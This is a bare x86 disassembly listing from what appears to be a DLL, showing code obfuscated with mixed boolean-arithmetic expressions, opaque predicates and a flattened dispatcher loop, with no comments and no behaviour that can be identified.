mov esi, edi
not esi
or esi, eax
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0xced6214
and edx, 0xf3129deb
or edx, eax
xor edx, esi
xor edx, 0xf3129deb
or ecx, esi
not ecx
or ecx, edx
mov edx, ecx
not edx
mov eax, edx
and eax, 0x25ba7971
and edx, ecx
and ecx, 0xda45868e
or ecx, eax
xor ecx, 0xda45868e
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x17dc7b7a
and edx, 0xe8238485
or edx, ecx
mov esi, edx
xor esi, 0x3942248
mov edi, edx
xor edi, 0xe8238485
mov ebx, dword [ebp - 0x1c]
mov ecx, ebx
not ecx
and esi, 0x23b42248
xor edx, 0xd911980f
and edx, edi
and edi, 0xdc4bddb7
or edi, esi
mov eax, ebx
xor eax, 0x31321c8a
mov esi, eax
and esi, ecx
and eax, ebx
or eax, esi
mov esi, edi
xor esi, 0xdc4bddb7
mov ebx, edi
xor ebx, 0x12863ec2
and ebx, esi
or edx, ebx
xor edx, eax
mov ebx, dword [ebp - 0x1c]
mov eax, ebx
and eax, 0xc6dceeb1
and ecx, 0x3923114e
or ecx, eax
xor edi, 0x23b42248
or ebx, edi
mov eax, ebx
and edi, 0xc6dceeb1
and esi, 0x3923114e
or esi, edi
xor esi, ecx
not eax
or eax, esi
mov ecx, eax
mov edi, eax
not ecx
mov esi, edx
not esi
mov eax, esi
and eax, 0x3ea7c057
and edx, 0xc1583fa8
or edx, eax
or esi, edi
and edi, 0x3ea7c057
and ecx, 0xc1583fa8
or ecx, edi
xor ecx, edx
not esi
or esi, ecx
mov eax, esi
not eax
mov dword [ebp - 0x18], eax
and eax, 0xea8543c6
mov ecx, esi
mov edx, esi
mov dword [ebp - 0x1c], esi
and ecx, 0x157abc39
or ecx, eax
mov eax, ecx
xor eax, 0x157abc39
xor ecx, 0xe8800102
and ecx, 0xecf82d12
mov esi, eax
and esi, 0x1307d2ed
or esi, ecx
mov ecx, edx
or ecx, 0x53755d25
xor esi, 0x40728fc8
and eax, 0xac8aa2da
or eax, esi
mov esi, ecx
not esi
and ecx, 0xb5aefb4a
mov edi, esi
and edi, 0x8000090
or edi, ecx
mov ebx, eax
not ebx
mov ecx, eax
and ecx, 0x7e8ad158
xor eax, 0xa57b4012
and eax, ebx
and ebx, 0x81752ea7
or ebx, ecx
xor edi, 0x4a5104b5
mov edx, ebx
xor edx, 0x812522a6
or edx, edi
and edi, 0x1a84bfe8
and esi, 0xa40a0012
or esi, edi
mov edi, ebx
xor edi, 0x5a809148
or edi, 0xa57b4012
xor ebx, 0x40000
mov ecx, edi
and ecx, 0x44802eed
and ebx, 0x1a049100
or ebx, ecx
mov ecx, eax
not ecx
or edi, ecx
and ecx, 0x44802eed
and eax, 0xbb7fd112
or eax, ecx
xor eax, ebx
not edi
or edi, eax
xor edi, esi
mov eax, edi
xor eax, 0x40000001
xor edi, 0xbffffffa
mov ecx, edi
and ecx, 0xbd6dfdde
and eax, 0x42920221
or eax, ecx
mov ecx, edx
not ecx
or edi, edx
and edx, 0xbd6dfdde
and ecx, 0x820200
or ecx, edx
xor ecx, eax
not edi
or edi, ecx
mov eax, edi
not eax
mov ecx, edi
or ecx, 0x780c6004
and ecx, 0xfc0dfa7c
mov edx, eax
and eax, 0x1d20481
or eax, ecx
or edx, 0x84019a78
and edx, 0xfc0dfa7c
and edi, 0x2200102
or edi, edx
xor edi, eax
mov ecx, edi
xor ecx, 0xd6a6c3dc
mov eax, edi
xor eax, 0x29593c23
xor edi, 0x887aaacc
and edi, eax
and ecx, 0x812096c4
and eax, 0x2003002b
or eax, ecx
xor eax, 0x2003002b
or eax, edi
mov edx, eax
not edx
mov ecx, edx
and ecx, 0x5edc6910
and eax, 0xa12396ef
or eax, ecx
xor edx, eax
and edx, eax
mov dword [ebp - 0x14], edx
mov ebx, dword [ebp - 0x1c]
mov esi, ebx
or esi, 0xc37f1f69
mov eax, esi
and eax, 0x2d9403fd
mov ecx, dword [ebp - 0x18]
and ecx, 0x1000e002
or ecx, eax
mov eax, ebx
xor eax, 0x3c80e096
and eax, ebx
mov edx, eax
not edx
or esi, edx
and edx, 0x2d9403fd
and eax, 0xd26bfc02
or eax, edx
xor eax, ecx
not esi
or esi, eax
mov edi, esi
xor edi, 0x18000400
xor esi, 0x604c8804
and esi, 0xe5effa7d
and edi, 0x1a100582
or edi, esi
mov ecx, edi
xor ecx, 0x2100402
mov eax, dword [ebp - 0x18]
and eax, 0x6e25c238
and ebx, 0x91da3dc7
or ebx, eax
xor edi, 0xe5effa7d
mov eax, edi
and eax, 0x19c001f4
and ecx, 0xe63ffe0b
or ecx, eax
mov eax, ebx
xor eax, 0x801a3c03
xor ebx, 0x6e25c238
or edi, ebx
and ebx, 0x19c001f4
and eax, 0xe63ffe0b
or eax, ebx
xor eax, ecx
not edi
or edi, eax
mov ebx, dword [ebp - 0x14]
mov eax, ebx
not eax
mov dword [ebp - 0x1c], eax
and eax, 0x7e2f59c8
mov edx, ebx
mov esi, ebx
and edx, 0x81d0a637
or edx, eax
mov eax, edx
xor eax, 0x1000224
xor edx, 0x320459c8
or edx, 0xcceb2003
mov ecx, edx
mov ebx, edx
and ecx, 0xe2359cdb
and eax, 0x11004324
or eax, ecx
mov ecx, esi
xor ecx, 0x3314dffc
and ecx, esi
mov edx, ecx
not edx
or ebx, edx
and edx, 0xe2359cdb
and ecx, 0x1dca6324
or ecx, edx
xor ecx, eax
not ebx
or ebx, ecx
mov ecx, edi
not ecx
mov eax, edi
and eax, 0xc090eb69
mov edx, ecx
and ecx, 0x3f6f1496
or ecx, eax
not ecx
or ecx, edi
mov dword [ebp - 0x28], ecx
and edi, 0xccf05c68
and edx, 0x330fa397
or edx, edi
mov eax, ebx
xor ebx, 0xcceb2003
mov dword [ebp - 0x20], edx
xor edx, 0xccf05c68
xor eax, 0x3314dffc
mov dword [ebp - 0x24], eax
and eax, 0x1a12a94
mov ecx, ebx
xor ecx, edx
and ecx, ebx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], edx
and edx, ebx
mov dword [ebp - 0x18], edx
and ebx, 0xfe5ed56b
or ebx, eax
mov eax, ebx
xor eax, 0xfe5ed56b
xor ebx, 0x80
and ebx, 0xac1640c2
mov ecx, eax
and ecx, 0x53e9bf3d
or ecx, ebx
xor ecx, 0x93795454
and eax, 0x3f6f1496
or eax, ecx
mov ecx, dword [ebp - 0x1c]
and ecx, 0x1b0f0010
mov edi, esi
and edi, 0x24601486
or edi, ecx
mov ebx, eax
not ebx
mov ecx, eax
and ecx, 0x4f42e5b4
xor eax, 0xa52eaed5
and eax, ebx
and ebx, 0xb0bd1a4b
or ebx, ecx
mov ecx, ebx
xor ecx, 0xb0bd1a4b
mov dword [ebp - 0x34], ecx
mov edx, ebx
xor edx, 0x1593b49e
and edx, ecx
or eax, edx
xor edi, 0x24601486
or edi, 0xc090eb69
mov dword [ebp - 0x14], edi
mov edx, edi
xor edx, 0xa52eaed5
mov esi, edx
and esi, edi
mov ecx, esi
not ecx
mov dword [ebp - 0x1c], ecx
and dword [ebp - 0x1c], 0x8d6b3642
and esi, 0x720401bc
add esi, dword [ebp - 0x1c]
not edi
mov dword [ebp - 0x1c], edi
and edx, edi
mov edi, edx
not edi
or ecx, edi
and edi, 0x8dfb7642
and edx, 0x32040094
or edx, edi
xor edx, esi
not ecx
or ecx, edx
mov edx, ecx
xor edx, ecx
not edx
and edx, eax
xor edx, ecx
xor ebx, 0x4f42e5b4
mov eax, ebx
and eax, 0xa3b0984f
mov ecx, dword [ebp - 0x34]
and ecx, 0x5c4f67b0
or ecx, eax
mov esi, dword [ebp - 0x1c]
or ebx, esi
and esi, 0x23201006
mov eax, dword [ebp - 0x14]
and eax, 0x5c4f67b0
or eax, esi
xor eax, ecx
not ebx
or ebx, eax
not ebx
or ebx, edx
mov esi, dword [ebp - 0x30]
or esi, 0x3f6f1496
mov ecx, esi
not ecx
mov edx, ecx
mov eax, dword [ebp - 0x28]
xor edx, eax
and edx, ecx
and esi, 0x6a4713bb
and ecx, 0x8090e840
or ecx, esi
xor ecx, eax
mov eax, edx
not eax
mov esi, eax
and esi, 0x16e2a14b
and edx, 0xc0104a20
or edx, esi
mov esi, ecx
xor esi, 0x95b8ec44
xor ecx, 0x6a4713bb
or eax, ecx
and ecx, 0x16e2a14b
and esi, 0xe91d5eb4
or esi, ecx
xor esi, edx
not eax
or eax, esi
mov ecx, ebx
not ecx
mov edx, ecx
and edx, 0x55e46d6b
mov esi, ebx
and esi, 0xaa1b9294
or esi, edx
mov edx, eax
not edx
xor esi, edx
xor esi, 0xaa1b9294
and esi, eax
and edx, 0x95f4f0e0
and eax, 0x6a0b0f1f
or eax, edx
xor eax, ecx
xor eax, 0x6a0b0f1f
and eax, ebx
or eax, esi
mov ecx, dword [ebp - 0x20]
xor ecx, 0x330fa397
mov edx, dword [ebp - 0x24]
and edx, ecx
mov esi, dword [ebp - 0x18]
or esi, edx
or esi, dword [ebp - 0x2c]
mov dword [ebp - 0x18], esi
mov ecx, esi
not ecx
mov dword [ebp - 0x14], ecx
and esi, 0x3799e098
and ecx, 0xc8661f67
or ecx, esi
mov dword [ebp - 0x1c], ecx
mov ebx, eax
or ebx, 0xc8661f67
mov esi, eax
not esi
mov edi, ebx
and edi, 0xbb70934
mov edx, esi
and edx, 0x3408e088
or edx, edi
mov edi, eax
xor edi, 0x3799e098
and edi, eax
mov ecx, edi
not ecx
or ebx, ecx
and ecx, 0xbb70934
and edi, 0xf448f6cb
or edi, ecx
xor edi, edx
not ebx
or ebx, edi
mov ecx, dword [ebp - 0x1c]
mov edi, ecx
xor edi, ecx
not edi
and edi, ebx
xor edi, ecx
mov ecx, eax
and ecx, 0xd0be0729
and esi, 0x2f41f8d6
or esi, ecx
mov ecx, dword [ebp - 0x14]
or eax, ecx
and ecx, 0xd0be0729
mov edx, dword [ebp - 0x18]
and edx, 0x2f41f8d6
or edx, ecx
xor edx, esi
not eax
or eax, edx
not eax
or eax, edi
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0x8499f342
mov edx, eax
and edx, 0x19000435
or edx, esi
xor edx, 0x19000435
and ecx, 0x20640088
and eax, 0x42020800
or eax, ecx
mov ecx, eax
xor ecx, 0x40000000
or ecx, 0x8981b271
xor eax, 0x240008
and eax, 0x2260808
and ecx, 0xe9c1b2f1
or ecx, eax
xor ecx, 0xe9c1b2f1
or ecx, edx
mov edi, ecx
xor edi, 0xc3459e67
xor ecx, 0x3cba6198
mov esi, ecx
and esi, 0x30b8c842
mov eax, edi
and eax, 0xcf4737bd
or eax, esi
mov esi, edi
and esi, 0x65c88dd5
mov edx, ecx
and edx, 0x9a37722a
or edx, esi
mov esi, ecx
and esi, edi
mov ebx, esi
not ebx
or edi, ebx
and ebx, 0x65c88dd5
and esi, 0x9a37722a
or esi, ebx
xor esi, edx
not edi
or edi, esi
mov esi, edi
not esi
mov edx, edi
xor edx, 0x2fc20e24
and edx, esi
mov esi, eax
xor esi, 0x30b8c842
and edi, 0xd03df1db
or edi, edx
mov ebx, esi
or ebx, 0xd03df1db
mov edx, ebx
and edx, 0x65dc3859
and ecx, 0xa020624
or ecx, edx
mov dword [ebp - 0x14], eax
xor eax, 0x1f7ac666
and eax, esi
mov edx, eax
not edx
or ebx, edx
and edx, 0x65dc3859
and eax, 0x9a23c7a6
or eax, edx
xor eax, ecx
not ebx
or ebx, eax
mov eax, dword [ebp - 0x14]
xor eax, 0xc0411089
xor ebx, edi
and eax, 0xe0d9988b
and esi, 0x1f266774
or esi, eax
mov eax, esi
xor eax, 0x1c022640
xor esi, 0xe0d9988b
mov ecx, esi
and ecx, 0x3add1bc
and eax, 0xfc522e43
or eax, ecx
xor eax, ebx
xor eax, 0xfc522e43
or esi, ebx
not esi
or esi, eax
xor esi, 0x37305b73
xor esi, 0xc8cfa48c
setne dl
sete cl
cmp dword [0x10049904], 0xa
setl al
setge ah
mov dh, ah
inc dh
or dh, cl
mov bl, dh
xor bl, 1
mov ch, ah
and ch, cl
or cl, ah
xor cl, 1
or cl, ch
mov ch, cl
xor ch, 1
and bl, dh
and cl, ch
xor bl, 1
mov bh, bl
xor bh, dh
or bl, dh
xor bl, 1
or bl, bh
xor cl, 1
mov bh, cl
xor bh, ch
or cl, ch
xor cl, 1
or cl, bh
xor cl, bl
xor cl, 1
or ch, dh
mov dh, cl
xor dh, ch
or ch, cl
xor ch, 1
or ch, dh
mov dh, ch
xor dh, 1
mov cl, dh
and cl, ch
xor dh, cl
xor cl, 1
or cl, ch
xor cl, 1
or cl, dh
mov ch, cl
xor ch, 1
and cl, ch
xor cl, 1
mov dh, ch
xor dh, cl
or cl, ch
xor cl, 1
or cl, dh
xor al, dl
mov ch, dl
xor ch, ah
and ch, ah
or al, ah
mov dh, al
xor dh, 1
mov dl, ch
xor dl, 1
mov ah, ch
and ah, dl
xor ah, 1
or ah, dl
xor ah, 1
or ah, ch
mov ch, dh
and ch, al
xor ch, 1
or ch, al
xor ch, 1
or ch, dh
mov dh, ah
xor dh, 1
and dh, ch
xor ch, 1
and ch, ah
mov ah, cl
xor ah, 1
or ch, dh
or dl, al
xor dl, 1
or dl, ch
mov ch, dl
xor ch, 1
mov dh, cl
or dh, dl
and ch, cl
mov al, ah
and al, dl
or al, ch
xor al, 1
mov ch, al
xor ch, dh
or al, dh
xor al, 1
or al, ch
mov ch, al
xor ch, 1
xor cl, dl
and cl, dl
or dl, ah
xor dl, 1
or dl, cl
mov cl, dl
xor cl, 1
mov ah, cl
and ah, al
and ch, dl
or ch, ah
mov ah, ch
xor ah, al
and ah, ch
xor cl, al
and cl, dl
or dl, al
xor dl, 1
or dl, cl
xor dl, ah
mov ecx, edx
not cl
and cl, ah
test dl, 1
mov esi, 0x549d7558
mov edi, 0x7d9f6b21
cmovne esi, edi
test cl, 1
cmovne esi, edi
test dl, 1
mov eax, esi
cmovne eax, edi
test cl, 1
cmove eax, esi
mov ecx, dword [ebp - 0x50]
cmp dword [ecx], 0
setne byte [ebp - 0x57]
jmp 0x1000f5c0
mov eax, 0x5de31238
jmp 0x1000f5c0
mov eax, dword [ebp - 0x40]
mov eax, dword [0x10049900]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov edi, eax
mov ecx, edx
or ecx, 0x305b0050
mov eax, edx
xor eax, 0xcb00deaf
and eax, edx
mov ebx, edx
and ecx, 0x385b8cfc
mov esi, edi
and esi, 0xc3005203
or esi, ecx
mov ecx, eax
not ecx
mov dword [ebp - 0x18], edx
or edx, ecx
and ecx, 0x385b8cfc
and eax, 0xc7a47303
or eax, ecx
xor eax, esi
not edx
or edx, eax
not eax
and eax, 0x34ff2150
and edx, 0xcb00deaf
or edx, eax
mov dword [ebp - 0x14], edi
mov eax, edi
and eax, 0x8f2cca1b
mov ecx, ebx
and ecx, 0x70d335e4
or ecx, eax
xor ecx, 0x70d335e4
mov ebx, ecx
xor ebx, edi
and ebx, ecx
mov ecx, edx
not ecx
mov dword [ebp - 0x1c], ecx
and ecx, 0x72c72fa9
mov eax, edx
and eax, 0x8d38d056
or eax, ecx
mov dword [ebp - 0x24], eax
mov ecx, ebx
not ecx
mov dword [ebp - 0x20], ecx
mov esi, ebx
or esi, 0x8d38d056
mov edi, esi
and edi, 0xaf568d4d
and ecx, 0x508122a0
or ecx, edi
mov edi, ebx
xor edi, 0x72c72fa9
and edi, ebx
mov eax, edi
not eax
or esi, eax
and eax, 0xaf568d4d
and edi, 0x50a972b2
or edi, eax
xor edi, ecx
not esi
or esi, edi
xor esi, dword [ebp - 0x24]
mov eax, edx
and eax, 0xe929dbf6
mov ecx, dword [ebp - 0x1c]
and ecx, 0x16d62409
or ecx, eax
or edx, ebx
and ebx, 0xe929dbf6
mov eax, dword [ebp - 0x20]
and eax, 0x16d62409
or eax, ebx
xor eax, ecx
not edx
or edx, eax
mov ecx, esi
not ecx
mov eax, ecx
and eax, 0xaa6e464a
and esi, 0x5591b9b5
or esi, eax
mov eax, edx
not eax
or ecx, edx
and edx, 0xaa6e464a
and eax, 0x5591b9b5
or eax, edx
xor eax, esi
not ecx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x7439c1f2
and eax, 0x8bc63e0d
or eax, ecx
mov ecx, eax
xor ecx, 0x7439c1f2
mov edx, eax
xor edx, 0xa022404
and edx, 0x2e0aa594
xor eax, 0x2c836ce0
and eax, ecx
and ecx, 0xd1f55a6b
or ecx, edx
mov esi, ecx
xor esi, 0xd1f55a6b
mov edx, esi
and edx, 0x58baad12
or eax, edx
mov edx, eax
xor edx, 0x58128c11
xor eax, 0xa74552ec
or esi, eax
and eax, 0x1a871c6
and edx, 0xfe578e39
or edx, eax
not esi
or ecx, 0x1a871c6
and ecx, 0x1a871c7
xor ecx, edx
and esi, 1
or esi, ecx
mov edx, dword [ebp - 0x14]
mov ecx, edx
and ecx, 0xfffffffe
mov edi, dword [ebp - 0x18]
mov eax, edi
and eax, 1
or eax, ecx
and edx, 0x92815b26
mov ecx, edi
and ecx, 0x6d7ea4d9
or ecx, edx
mov edx, eax
not edx
mov edi, edx
and edi, 0xae50bb5f
and eax, 0x51af44a0
or eax, edi
mov edi, ecx
xor edi, 0x412e0480
xor ecx, 0x82001b06
and ecx, 0xae50bb5f
and edi, 0x51af44a0
or edi, ecx
xor edi, eax
xor edx, edi
and edx, edi
mov ecx, edx
mov eax, edx
or edx, esi
mov ebx, esi
not esi
and ebx, 0xd9a02220
not ecx
mov edi, ecx
or ecx, esi
mov dword [ebp - 0x1c], ecx
mov ecx, esi
and ecx, 0x265fdddf
or ecx, ebx
and edi, 0x1d8874bd
and eax, 0xe2778b42
or eax, edi
mov esi, ecx
xor esi, 0x2012cc9e
xor ecx, 0xd9a02220
mov edi, ecx
and edi, 0xf4d3141
and esi, 0xf0b2cebe
or esi, edi
mov edi, eax
xor edi, 0xe0328a02
xor eax, 0x1d8874bd
or ecx, eax
and eax, 0xf4d3141
and edi, 0xf0b2cebe
or edi, eax
xor edi, esi
not ecx
or ecx, edi
mov eax, edx
mov esi, dword [ebp - 0x1c]
xor eax, esi
or edx, esi
not edx
or edx, eax
mov eax, edx
not eax
xor edx, eax
and edx, ecx
or ecx, eax
not ecx
xor edx, eax
or edx, ecx
mov eax, edx
not eax
mov esi, edx
xor esi, 0xa59b0c1c
and esi, edx
mov edi, eax
and edi, 0x93f6de1b
mov ecx, edx
and edx, 0x6c0921e4
or edx, edi
xor edx, 0x93f6de1b
or edx, eax
and eax, 0x840a0000
and ecx, 0x21910c1c
or ecx, eax
xor ecx, 0x21910c1c
or ecx, esi
not esi
and esi, 0x5a64f3e3
and ecx, 0xa59b0c1c
or ecx, esi
mov ebx, ecx
not ebx
and ecx, 0x8969e47a
and ebx, 0x76961b85
or ebx, ecx
mov esi, edx
not esi
and edx, 0x2c347e4a
mov eax, esi
and eax, 0xd3cb81b5
or eax, edx
mov edi, ebx
xor edi, 0x76961b85
mov ecx, ebx
xor ecx, 0x8969e47a
mov edx, ecx
or edx, edi
xor ebx, 0xad30e7d0
and ebx, edx
mov edx, eax
xor edx, 0xd3cb81b5
mov dword [ebp - 0x1c], edx
and dword [ebp - 0x1c], 0xdba6fc55
and esi, 0x245903aa
add esi, dword [ebp - 0x1c]
xor esi, ebx
mov ebx, edi
and ebx, 0xe6aa2158
and ecx, 0x1955dea7
or ecx, ebx
xor eax, 0x2c347e4a
or edi, eax
and eax, 0xe6aa2158
and edx, 0x1955dea7
or edx, eax
xor edx, ecx
not edi
or edi, edx
mov ecx, esi
not ecx
mov eax, ecx
and eax, 0x2f0d103e
and esi, 0xd0f2efc1
or esi, eax
mov eax, edi
not eax
or ecx, edi
and edi, 0x2f0d103e
and eax, 0xd0f2efc1
or eax, edi
xor eax, esi
not ecx
or ecx, eax
mov dword [ebp - 0x1c], ecx
mov ebx, dword [ebp - 0x18]
mov eax, ebx
or eax, 0x800408
and eax, 0xe6801c1e
mov edx, dword [ebp - 0x14]
mov ecx, edx
and ecx, 0x92f22c1
or ecx, eax
mov eax, edx
mov edi, edx
or eax, 0xe6001816
and eax, 0xe6801c1e
mov esi, ebx
mov edx, ebx
and esi, 0x1050c120
or esi, eax
xor esi, ecx
mov eax, esi
xor eax, 0x1080c028
xor esi, 0xef2f3ad7
and eax, 0x96adf0aa
mov ecx, esi
and ecx, 0x69520f55
or ecx, eax
xor ecx, 0xe8da6b9a
and esi, 0x7e779b30
or esi, ecx
mov eax, esi
not eax
and edi, 0x14541220
and edx, 0x6a238910
or edx, edi
mov ecx, edx
xor ecx, 0x2a228010
or ecx, 0x820c6
xor edx, 0x441200
and edx, 0x40451b00
and ecx, 0x3e3aa0f6
or ecx, edx
mov edi, esi
and edi, 0xacf0d7af
xor esi, 0xef33c18e
and esi, eax
and eax, 0x530f2850
or eax, edi
mov edi, ecx
xor edi, 0x3e3aa0f6
mov ebx, ecx
xor ebx, 0x41851800
and ebx, 0x63afb8c6
xor ecx, 0x2e769a00
and ecx, edi
and edi, 0x1c500330
or edi, ebx
xor eax, 0x530f2850
mov ebx, eax
and ebx, 0x10cc3e71
or esi, ebx
xor edi, 0x9c504739
or eax, edi
and edi, 0x10cc3e71
or ecx, edi
mov edi, ecx
xor edi, ecx
not edi
and edi, esi
xor edi, ecx
not eax
or eax, edi
mov ebx, eax
mov ecx, eax
xor ecx, 0xf3d52c0f
and ecx, eax
mov esi, eax
or esi, 0xc2ad3f0
not ebx
mov edi, esi
and edi, 0x1b0bead6
and ebx, 0xe0d40409
or ebx, edi
mov edi, ecx
not edi
or esi, edi
and edi, 0x1b0bead6
and ecx, 0xe4f41529
or ecx, edi
xor ecx, ebx
not esi
or esi, ecx
mov ebx, dword [ebp - 0x1c]
mov ecx, ebx
not ebx
mov eax, ebx
and eax, 0xd928523a
and ecx, 0x26d7adc5
or ecx, eax
mov edi, esi
xor edi, 0x8da2b73f
xor esi, 0x725d48c0
mov edx, edi
and edx, 0xd928523a
mov eax, esi
and eax, 0x26d7adc5
or eax, edx
xor eax, ecx
mov ecx, eax
xor ecx, ebx
and ecx, eax
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x1c]
mov ecx, edx
xor ecx, 0x7330e9ca
and ecx, edx
and ebx, 0x13200982
and edx, 0x6010e048
or edx, ebx
xor edx, 0x6010e048
or ecx, edx
mov edx, esi
and edx, 0x6ab41d9a
mov ebx, edi
and ebx, 0x954be265
or ebx, edx
mov edx, ebx
xor edx, 0x954be265
xor ebx, 0x1984f450
and ebx, edx
mov edx, ebx
not edx
mov eax, edx
and eax, 0xf090716b
and ebx, 0xf6f8e94
or ebx, eax
or esi, 0x7330e9ca
or edx, esi
and esi, 0xf090716b
and edi, 0xc4f0614
or edi, esi
xor edi, ebx
not edx
or edx, edi
xor edx, ecx
mov edi, dword [ebp - 0x14]
mov ecx, edi
not ecx
mov esi, edx
not esi
mov eax, ecx
or eax, esi
and ecx, 0x50a6fdb6
and edi, 0xaf590249
or edi, ecx
and esi, 0x50a6fdb6
and edx, 0xaf590249
or edx, esi
xor edx, edi
mov ecx, edx
not ecx
mov esi, ecx
and esi, 0xefd4f412
and edx, 0x102b0bed
or edx, esi
xor edx, eax
xor edx, 0x102b0bed
or ecx, eax
not ecx
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x3fd3c4f3
and edx, 0xc02c3b0c
or edx, ecx
mov eax, edx
xor eax, 0xc0202a04
xor edx, 0x219200c1
and edx, 0x219e11c9
and eax, 0xde61ee36
or eax, edx
mov ecx, eax
xor ecx, 0xde61ee36
mov edx, eax
xor edx, 0x20120180
and edx, 0xa053adb6
xor eax, 0x7936c26a
and eax, ecx
and ecx, 0x5fac5249
or ecx, edx
mov edx, ecx
xor edx, 0x5fac5249
xor ecx, 0x70481ea
and ecx, edx
or eax, ecx
xor eax, 0xdf02bac7
xor eax, 0x7855969b
setne bh
sete cl
cmp dword [0x10049904], 0xa
setl ch
setge ah
xor cl, ah
mov al, bh
inc al
mov dh, bh
and dh, al
xor dh, 1
or dh, al
xor dh, 1
or dh, bh
mov al, dh
xor al, 1
and dh, al
xor dh, 1
mov bl, dh
xor bl, al
or dh, al
xor dh, 1
or dh, bl
mov dl, dh
and dh, ch
xor ch, bh
mov bl, ch
xor bl, ch
xor dl, 1
and dl, ah
or ah, bh
mov al, cl
xor al, ah
or ah, cl
xor ah, 1
or ah, al
not bl
and bl, ah
xor bl, ch
or ah, ch
xor ah, 1
or ah, bl
mov cl, ah
xor cl, 1
mov al, ah
and al, cl
xor al, 1
or al, cl
xor al, 1
or al, ah
mov ecx, eax
mov ebx, eax
mov byte [ebp - 0x18], al
xor cl, 1
or dl, dh
mov dh, dl
xor dh, 1
mov ah, dl
and ah, dh
xor ah, 1
mov ch, dh
xor ch, ah
or ah, dh
and dl, ah
xor dl, 1
mov dh, ah
xor dh, dl
or dl, ah
xor ah, 1
or ah, ch
mov byte [ebp - 0x14], cl
and bl, cl
xor bl, 1
mov ch, cl
xor ch, bl
or bl, cl
xor bl, 1
or bl, ch
mov ch, bl
xor ch, 1
and bl, ch
xor bl, 1
mov bh, bl
xor bh, ch
or bl, ch
xor bl, 1
or bl, bh
mov ch, bl
xor ch, 1
and ch, bl
xor ch, 1
mov bh, bl
xor bh, ch
or ch, bl
xor ch, 1
or ch, bh
mov bl, ch
xor bl, 1
mov bh, ch
and bh, bl
xor bh, 1
or bh, bl
xor bh, 1
mov al, ch
or al, bl
or al, bh
mov bh, al
xor bh, 1
and bh, al
xor bh, 1
mov cl, al
xor cl, bh
or bh, al
xor bh, 1
or bh, cl
xor bh, bl
and ch, bh
xor ch, 1
mov al, ch
xor al, bh
or ch, bh
xor ch, 1
or ch, al
xor dl, 1
or dl, dh
xor dl, 1
mov al, dl
or al, ch
mov cl, al
xor cl, 1
xor dl, ch
or dl, cl
mov ch, dl
xor ch, 1
mov ebx, eax
and bl, cl
xor bl, 1
or bl, cl
xor bl, 1
or bl, al
mov cl, bl
and bl, ch
mov dh, ah
xor dh, 1
xor cl, 1
and cl, dl
or dl, al
xor dl, 1
or dl, bl
or dl, cl
mov ch, dh
movzx ebx, byte [ebp - 0x18]
xor ch, bl
and ch, ah
mov al, bl
or al, ah
xor ch, 1
mov cl, ch
xor cl, al
or ch, al
xor ch, 1
or ch, cl
and ah, bl
mov al, bl
movzx ebx, byte [ebp - 0x14]
and bl, dh
or bl, ah
or dh, al
xor bl, 1
mov eax, ebx
xor al, dh
or bl, dh
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
mov cl, ch
xor cl, 1
and al, cl
or cl, bl
xor cl, 1
and bl, ch
or bl, al
or bl, cl
mov ah, bl
mov ecx, ebx
xor ah, 1
mov ch, dl
xor ch, 1
mov al, ah
or al, ch
xor al, 1
mov dh, dl
xor dh, ah
and dh, ch
or dh, al
and ch, dl
xor ch, 1
mov al, ch
xor al, dl
or ch, dl
xor ch, 1
or ch, al
mov al, cl
and al, ah
xor al, 1
or al, ah
xor al, 1
or al, cl
xor al, ch
or ah, dl
xor ah, 1
or ah, al
mov cl, ah
xor cl, 1
mov al, cl
and al, ah
xor cl, al
xor al, 1
or al, ah
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov dl, dh
xor dl, 1
and al, dl
or dl, cl
and cl, dh
or cl, al
mov ch, cl
xor ch, dl
test cl, 1
mov eax, 0x56a0f5e8
mov esi, 0x209e6055
cmovne eax, esi
test dl, 1
mov edx, 0x56a0f5e8
cmovne eax, edx
test ch, 1
cmove eax, esi
jmp 0x1000f5c0
mov eax, dword [ebp - 0x48]
mov dword [eax], 0
mov eax, dword [0x10049900]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
mov esi, eax
and esi, ecx
mov edi, eax
and edi, 0xf51447f2
and ecx, 0xaebb80d
or ecx, edi
not ecx
or ecx, eax
and eax, 0xbfd1c4e4
and edx, 0x402e3b1b
or edx, eax
mov eax, edx
xor eax, 0x2a1811
xor edx, 0xbfd1c4e4
mov edi, edx
and edi, 0xff84632a
and eax, 0x7b9cd5
or eax, edi
mov edi, esi
not edi
or edx, edi
and edi, 0xff84632a
and esi, 0x7b9cd5
or esi, edi
xor esi, eax
not edx
or edx, esi
mov eax, edx
xor eax, 0xaebb80d
and eax, edx
mov esi, ecx
not esi
mov edx, eax
not edx
mov dword [ebp - 0x14], edx
and ecx, 0xefe9acb8
mov edi, esi
and edi, 0x10165347
or edi, ecx
mov ecx, eax
xor ecx, 0xffbb7743
and ecx, edx
mov ebx, eax
and ebx, 0x4488bc
or ebx, ecx
mov ecx, edi
xor ecx, 0x10165347
mov edx, edi
xor edx, 0x1052dbfb
and edx, ecx
and esi, 0x4488bc
or esi, edx
xor esi, ebx
mov edx, eax
and edx, 0x9d4fac56
mov ebx, dword [ebp - 0x14]
and ebx, 0x62b053a9
or ebx, edx
xor edi, 0xefe9acb8
or eax, edi
and edi, 0x9d4fac56
and ecx, 0x62b053a9
or ecx, edi
xor ecx, ebx
not eax
or eax, ecx
not eax
or eax, esi
mov ecx, eax
xor ecx, 0xaebb80d
xor eax, 0x651006c0
and ecx, 0x90cee93f
and eax, 0x6f3116c0
or eax, ecx
mov esi, eax
xor esi, 0x90cee93f
xor eax, 0x6f3116c0
mov edx, esi
or edx, 0x20301
mov ecx, esi
and esi, 0x10c71200
mov edi, eax
and edi, 0xef38edff
or edi, esi
mov esi, eax
xor edi, 0xef38edff
or edi, eax
or eax, 0xa0241002
and edx, 0xa0261303
and esi, 0x1a108410
or esi, edx
and eax, 0xa0261303
and ecx, 0x45c968ec
or ecx, eax
xor ecx, esi
mov eax, ecx
xor eax, 0xba349412
xor ecx, 0x45cb6bed
mov edx, ecx
and edx, 0x568e225
and eax, 0xfa971dda
or eax, edx
